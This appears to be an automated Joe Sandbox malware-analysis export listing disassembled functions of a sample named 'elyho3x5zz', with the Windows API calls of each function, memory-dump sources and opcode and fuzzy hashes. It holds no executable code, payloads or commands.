Function 00007FF629288B38 Relevance: 6.1, APIs: 4, Instructions: 96keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32 ref: 00007FF629288B98
SetKeyboardState.USER32 ref: 00007FF629288BB0
PostMessageW.USER32 ref: 00007FF629288C21
SendInput.USER32 ref: 00007FF629288C80

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 56c9a0b6ee225f986b8f36bfa830b7f851ce703ec5b55e2ab927aaea8bed82d2
Instruction ID: 1fac52ca5412beb2b5294b23abba6c793a2932ba82bfe8bfb00c92e812021c2c
Opcode Fuzzy Hash: 56c9a0b6ee225f986b8f36bfa830b7f851ce703ec5b55e2ab927aaea8bed82d2
Instruction Fuzzy Hash: AC412C61A2E68241FF38CF219D1467936A4FBC4BD0F540131DAAA936D9CF3CE581E712

Function 00007FF6292BC580 Relevance: 6.1, APIs: 4, Instructions: 95windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 00007FF6292BC630
GetWindowLongW.USER32 ref: 00007FF6292BC658
SetWindowLongPtrW.USER32 ref: 00007FF6292BC66D
InvalidateRect.USER32(?,00000000,?,00007FF62925DF79), ref: 00007FF6292BC6A4

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: LongWindow$InvalidateMessageRectSend
String ID:
API String ID: 3340791633-0
Opcode ID: 41522454ef5ffe58f3c47094a62836e99305b084494bc2ef8d406c22aeaeab5d
Instruction ID: baaf924d7c9f444d2e18155e101538f67b2d8e78933663e2826581a7fa3e1c58
Opcode Fuzzy Hash: 41522454ef5ffe58f3c47094a62836e99305b084494bc2ef8d406c22aeaeab5d
Instruction Fuzzy Hash: F2418031E2A54685FF64CF19CA60BB973A0EBD4794F146132DA1D836D5CF7CE882A702

Function 00007FF629253D98 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FF62924A27B,?,?,?,00007FF62924A236), ref: 00007FF629253DB1
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF62924A27B,?,?,?,00007FF62924A236), ref: 00007FF629253E13
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF62924A27B,?,?,?,00007FF62924A236), ref: 00007FF629253E4D
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FF62924A27B,?,?,?,00007FF62924A236), ref: 00007FF629253E77

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$Free
String ID:
API String ID: 1557788787-0
Opcode ID: 01582a1cc1afdad6e1d5985337141992fa687edcd13d7850452916e3cfeba0bf
Instruction ID: ab492b814bb5583cf3ce27118e1a3f5be8598c86a9b05a7bdaeb3d446f668c7f
Opcode Fuzzy Hash: 01582a1cc1afdad6e1d5985337141992fa687edcd13d7850452916e3cfeba0bf
Instruction Fuzzy Hash: A3218021A2A791C1FA249F167A40029B6E5FF84FD0B089134DE8EA3BD9DF3CE4529701

Function 00007FF6292BF8A8 Relevance: 6.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

GetWindowLongPtrW.USER32 ref: 00007FF6292BF90E
SetWindowLongPtrW.USER32(?,?,?,?,?,?,?,00007FF62929CD60), ref: 00007FF6292BF937
SetWindowLongPtrW.USER32(?,?,?,?,?,?,?,00007FF62929CD60), ref: 00007FF6292BF952
SetWindowPos.USER32 ref: 00007FF6292BF988

Part of subcall function 00007FF629212A54: GetWindowLongPtrW.USER32 ref: 00007FF629212A71

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Window$Long
String ID:
API String ID: 847901565-0
Opcode ID: 17af9f186f091bf577d3b0a8bd6a034cb4dd905415e59c2f23c9277c7aa4b264
Instruction ID: 31c0f14c0336db6808971a974f8a4f1864dc72e646ec522efe2efbc3a013401a
Opcode Fuzzy Hash: 17af9f186f091bf577d3b0a8bd6a034cb4dd905415e59c2f23c9277c7aa4b264
Instruction Fuzzy Hash: BB21BF21A29B4185FE20DF259E9477936A0AFC5BA0F154230DE6D87BE4CF3CE441E302

Function 00007FF6292C108C Relevance: 6.1, APIs: 4, Instructions: 71windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF629212A54: GetWindowLongPtrW.USER32 ref: 00007FF629212A71

GetCursorPos.USER32 ref: 00007FF6292C10E1
TrackPopupMenuEx.USER32 ref: 00007FF6292C1105
GetCursorPos.USER32(?,?,00000000,?,?,00007FF62925AB30,?,?,?,?,?,?,?,?,?,00007FF6292127AF), ref: 00007FF6292C114C
DefDlgProcW.USER32(?,?,00000000,?,?,00007FF62925AB30,?,?,?,?,?,?,?,?,?,00007FF6292127AF), ref: 00007FF6292C1190

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: b766ee5e7a6f79c275b6e8452a41ed66ab3f515ad85ef8642b06b7120701f994
Instruction ID: c7d7e0cf024fe50d6a5d887e89c8fc189afc4e3284377158e4110393e5194c03
Opcode Fuzzy Hash: b766ee5e7a6f79c275b6e8452a41ed66ab3f515ad85ef8642b06b7120701f994
Instruction Fuzzy Hash: 2631AD26A18A5581EF20CF16E9953B9B760FBC8F84F150231EA4D83BA9CF7CD445E701

Function 00007FF6292850E4 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 69stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF62928691C: lstrlenW.KERNEL32 ref: 00007FF629286944
Part of subcall function 00007FF62928691C: lstrcpyW.KERNEL32 ref: 00007FF629286973
Part of subcall function 00007FF62928691C: lstrcmpiW.KERNEL32 ref: 00007FF6292869AD

lstrlenW.KERNEL32 ref: 00007FF629285127
lstrcpyW.KERNEL32 ref: 00007FF62928515A
lstrcmpiW.KERNEL32 ref: 00007FF62928519C

Strings

cdecl, xrefs: 00007FF629285191

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: 9543eb87236cbe86fa524af2d72e3452b2187adb33a089d16778c3ede46c2dfa
Instruction ID: 2ce7e91eed2cb7ffa6c811cef131aee46cebdc92673cbfd8159b9d1111b40123
Opcode Fuzzy Hash: 9543eb87236cbe86fa524af2d72e3452b2187adb33a089d16778c3ede46c2dfa
Instruction Fuzzy Hash: A921BF2162A74285FF14AF16AA502B873A6FF88FD0B894134EB5E873D4DF3CE4509305

Function 00007FF62927D6A0 Relevance: 6.1, APIs: 4, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF62927CAB4: GetTokenInformation.ADVAPI32 ref: 00007FF62927CAE6
Part of subcall function 00007FF62927CAB4: GetLastError.KERNEL32 ref: 00007FF62927CAF2
Part of subcall function 00007FF62927CAB4: GetProcessHeap.KERNEL32 ref: 00007FF62927CAFF
Part of subcall function 00007FF62927CAB4: HeapAlloc.KERNEL32 ref: 00007FF62927CB0E
Part of subcall function 00007FF62927CAB4: GetTokenInformation.ADVAPI32 ref: 00007FF62927CB2D

GetLengthSid.ADVAPI32 ref: 00007FF62927D71A
CopySid.ADVAPI32 ref: 00007FF62927D73F
GetProcessHeap.KERNEL32 ref: 00007FF62927D754
HeapFree.KERNEL32 ref: 00007FF62927D762

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Heap$InformationProcessToken$AllocCopyErrorFreeLastLength
String ID:
API String ID: 837644225-0
Opcode ID: 9a34ca7cdec84128c61d79319dba9bc3ccc379250e2fae1bd0d7ccebff0f194a
Instruction ID: 8098a8fa8f538b5d44718aaaef76662c5ac3e3db8eec6263f460b021729e8f45
Opcode Fuzzy Hash: 9a34ca7cdec84128c61d79319dba9bc3ccc379250e2fae1bd0d7ccebff0f194a
Instruction Fuzzy Hash: 7221DE32A2AB4196FF04CF21E9047A8B3A9FB88B91F554139CA0D87784DF3DE841D701

Function 00007FF6292C2264 Relevance: 6.1, APIs: 4, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF629212A54: GetWindowLongPtrW.USER32 ref: 00007FF629212A71

GetClientRect.USER32(?,?,?,?,?,00007FF62925AA36,?,?,?,?,?,?,?,?,?,00007FF6292127AF), ref: 00007FF6292C22C4
GetCursorPos.USER32(?,?,?,?,?,00007FF62925AA36,?,?,?,?,?,?,?,?,?,00007FF6292127AF), ref: 00007FF6292C22CF
ScreenToClient.USER32 ref: 00007FF6292C22DD
DefDlgProcW.USER32(?,?,?,?,?,00007FF62925AA36,?,?,?,?,?,?,?,?,?,00007FF6292127AF), ref: 00007FF6292C231F

Part of subcall function 00007FF6292BE894: LoadCursorW.USER32 ref: 00007FF6292BE945

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: ClientCursor$LoadLongProcRectScreenWindow
String ID:
API String ID: 1626762757-0
Opcode ID: c10d22a9dfdb007e9cd3e446db2f26fc59a904d9b079c484f8598dfd72a81c9f
Instruction ID: d7689f6c5d987b515e6d3de1572c2252c15699b0c2d401456e455de406c068a5
Opcode Fuzzy Hash: c10d22a9dfdb007e9cd3e446db2f26fc59a904d9b079c484f8598dfd72a81c9f
Instruction Fuzzy Hash: 0C213C26A1964286FF24DF05E9805697360FBC4F80F550131EB8D87B99CF7CE941DB42

Function 00007FF62921932C Relevance: 6.1, APIs: 4, Instructions: 56windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32 ref: 00007FF6292193BC
GetStockObject.GDI32 ref: 00007FF6292193D9
SendMessageW.USER32 ref: 00007FF6292193EC

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: CreateMessageObjectSendStockWindow
String ID:
API String ID: 3970641297-0
Opcode ID: dfdf152a6b4170b9c012631cbf21b5eef6d1f67974f7a0a9349fa7dc94decf0b
Instruction ID: d7e359ce8a6dd5290c41bb0e95916a8600009a4aea893f84e810c43a75d9bed6
Opcode Fuzzy Hash: dfdf152a6b4170b9c012631cbf21b5eef6d1f67974f7a0a9349fa7dc94decf0b
Instruction Fuzzy Hash: 19213B326197C58AEB648F15E9447AAB7A0FB89780F440135DA8D83B95DF3CD4949B01

Function 00007FF62928CF68 Relevance: 6.1, APIs: 4, Instructions: 55synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00007FF62928CFA7

Part of subcall function 00007FF629241F44: _invalid_parameter_noinfo.LIBCMT ref: 00007FF629241F68

MessageBoxW.USER32 ref: 00007FF62928CFEA
WaitForSingleObject.KERNEL32 ref: 00007FF62928D004
CloseHandle.KERNEL32 ref: 00007FF62928D00D

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait_invalid_parameter_noinfo
String ID:
API String ID: 2979156933-0
Opcode ID: 2a49c66315dd4afd268b707153c3627d2a79b8a5ce35e179a418e828e304454b
Instruction ID: 91bd97ec2b625ad643dd9aa0cc750dccad00873e05d7760bd8a86a866bae78b3
Opcode Fuzzy Hash: 2a49c66315dd4afd268b707153c3627d2a79b8a5ce35e179a418e828e304454b
Instruction Fuzzy Hash: FD21A432A1D7818AFB10CF16BD8016A7691FBC4BD4F444135E99D83B95CF7CD1059B46

Function 00007FF629242FB8 Relevance: 6.1, APIs: 4, Instructions: 55COMMON

Download Yara Rule

APIs

_ctrlfp.LIBCMT ref: 00007FF629242FE5
_ctrlfp.LIBCMT ref: 00007FF629243039
_ctrlfp.LIBCMT ref: 00007FF62924304D
_ctrlfp.LIBCMT ref: 00007FF629243071

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: _ctrlfp
String ID:
API String ID: 697997973-0
Opcode ID: 696024c0d85e9950b44dad3db47e8c6049c7f355de1dae667ed974782f5b2eb5
Instruction ID: c7990949238ecb772a4d408f677d109ee2ae36618bc9dca78227a9fa17a1b63e
Opcode Fuzzy Hash: 696024c0d85e9950b44dad3db47e8c6049c7f355de1dae667ed974782f5b2eb5
Instruction Fuzzy Hash: 4C11C922D1D94581FA11DE38AB411BFB271EFDAB80F646331FB8986699DF2DD4409E01

Function 00007FF6292BFA78 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

GetWindowRect.USER32 ref: 00007FF6292BFAA8
ScreenToClient.USER32 ref: 00007FF6292BFAC1
ScreenToClient.USER32 ref: 00007FF6292BFAE6
InvalidateRect.USER32 ref: 00007FF6292BFB02

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: ClientRectScreen$InvalidateWindow
String ID:
API String ID: 357397906-0
Opcode ID: 30ca773a2ae41b56c6e1d6d31e0bfc9c1d6a93403dc69e79101ac1cf7de44ee4
Instruction ID: 1b2d4e51330cacc746c5ce3e42c8fd2cbee6261ee0bb5858184f51c433577f6d
Opcode Fuzzy Hash: 30ca773a2ae41b56c6e1d6d31e0bfc9c1d6a93403dc69e79101ac1cf7de44ee4
Instruction Fuzzy Hash: B42108B6A14741DFEB00DF74D99459C77B0F788B48B404826EA5893B18DF78D654CB41

Function 00007FF629284B28 Relevance: 6.0, APIs: 4, Instructions: 44registryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32 ref: 00007FF629284B47
LoadTypeLibEx.OLEAUT32 ref: 00007FF629284B62
RegisterTypeLib.OLEAUT32 ref: 00007FF629284B77
RegisterTypeLibForUser.OLEAUT32 ref: 00007FF629284B95

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Type$Register$FileLoadModuleNameUser
String ID:
API String ID: 1352324309-0
Opcode ID: 26dceef0b12b748e4890be4283cc75c768f711def0b64c07a5df3002dea28784
Instruction ID: d5311a406a2b0e8b473420a835e9929c700d5911aab285aece5ce7a6dc72c11e
Opcode Fuzzy Hash: 26dceef0b12b748e4890be4283cc75c768f711def0b64c07a5df3002dea28784
Instruction Fuzzy Hash: C6118262B2D54283FB208F24E98476933A4FBC8BC8F554135CA4D8B684CF7CD554EB51

Function 00007FF629289260 Relevance: 6.0, APIs: 4, Instructions: 37sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32 ref: 00007FF629289283
Sleep.KERNEL32 ref: 00007FF629289297
QueryPerformanceCounter.KERNEL32 ref: 00007FF6292892A2
Sleep.KERNEL32 ref: 00007FF6292892CD

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: c6a5989f9dc195674d757a8e27f3c1042de8158b51fda3090b6682196588991b
Instruction ID: fed656de09ebcafb82fb0ed49ee882e560714df7fb30df7f40956c46340e5eaa
Opcode Fuzzy Hash: c6a5989f9dc195674d757a8e27f3c1042de8158b51fda3090b6682196588991b
Instruction Fuzzy Hash: 09010020A2EB8642FF1A1F28D94857AB364BFD8785F040332E94BA15A4CF28E5819702

Function 00007FF6292C072C Relevance: 6.0, APIs: 4, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF629212370: ExtCreatePen.GDI32 ref: 00007FF6292123FF
Part of subcall function 00007FF629212370: SelectObject.GDI32 ref: 00007FF629212412
Part of subcall function 00007FF629212370: BeginPath.GDI32 ref: 00007FF62921242B
Part of subcall function 00007FF629212370: SelectObject.GDI32 ref: 00007FF629212452

MoveToEx.GDI32 ref: 00007FF6292C0771
LineTo.GDI32 ref: 00007FF6292C0783
EndPath.GDI32 ref: 00007FF6292C0795
StrokePath.GDI32 ref: 00007FF6292C07A5

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: 058f7c961f19f1df1cfb2125e1cbf4c754dffe1c4cdb6de871a3d3459fa768a6
Instruction ID: b0db404f4742cdbe2f822e294c207ea939466937dab38caa2969735f07cf398c
Opcode Fuzzy Hash: 058f7c961f19f1df1cfb2125e1cbf4c754dffe1c4cdb6de871a3d3459fa768a6
Instruction Fuzzy Hash: AA019235A6969142FB004F16BD09B297A60BBC1B94F191134DE5943BA1CFBDE445CB01

Function 00007FF62927D4EC Relevance: 6.0, APIs: 4, Instructions: 24threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00007FF62927D4F6
OpenThreadToken.ADVAPI32(?,?,00000000,00007FF62927CC94), ref: 00007FF62927D509
GetCurrentProcess.KERNEL32(?,?,00000000,00007FF62927CC94), ref: 00007FF62927D513
OpenProcessToken.ADVAPI32(?,?,00000000,00007FF62927CC94), ref: 00007FF62927D524

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: 5cd93aab99a75fcfcb42631ab9fe43dfed1bd9e6d723e162398547d1910a1280
Instruction ID: 4233824b772b178b57c32b3f8ce491ffc40152af9ec811d0eedb90352cd3f36c
Opcode Fuzzy Hash: 5cd93aab99a75fcfcb42631ab9fe43dfed1bd9e6d723e162398547d1910a1280
Instruction Fuzzy Hash: EFF03061A2F90283FF504F61ED04B6832E4EF99B89F994034C90ED6290DF3CD989A302

Function 00007FF62927326E Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00007FF62927326E
GetDC.USER32 ref: 00007FF62927327A
GetDeviceCaps.GDI32 ref: 00007FF6292732A4
ReleaseDC.USER32 ref: 00007FF6292732C5

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
